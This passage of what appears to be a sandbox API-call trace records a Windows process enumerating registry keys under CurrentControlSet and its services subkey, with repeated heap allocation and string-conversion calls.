Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.050] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0177.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0177.050] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.050] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.050] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0177.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0177.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.051] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0177.051] RegCloseKey (hKey=0x9c) returned 0x0 [0177.051] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0177.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0177.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.051] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0177.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0177.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.051] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.051] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0177.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0177.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.052] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0177.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0177.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.052] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0177.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0177.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.052] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0177.052] RegCloseKey (hKey=0x14c) returned 0x0 [0177.052] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0177.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.052] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0177.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.053] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0177.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0177.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d18, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0177.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.053] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0177.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a90, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0177.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.053] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0177.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0177.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.053] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d18, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0177.053] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.054] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0177.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0177.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a90, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0177.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.054] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0177.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0177.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d18, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0177.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.054] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0177.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0177.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.054] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0177.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.054] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0177.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.055] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0177.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0177.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.055] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0177.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0177.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.055] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0177.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0177.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a90, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0177.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.055] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0177.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0177.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0177.056] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0177.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0177.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0177.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.056] RtlFreeHeap (HeapHandle=0x2520000, 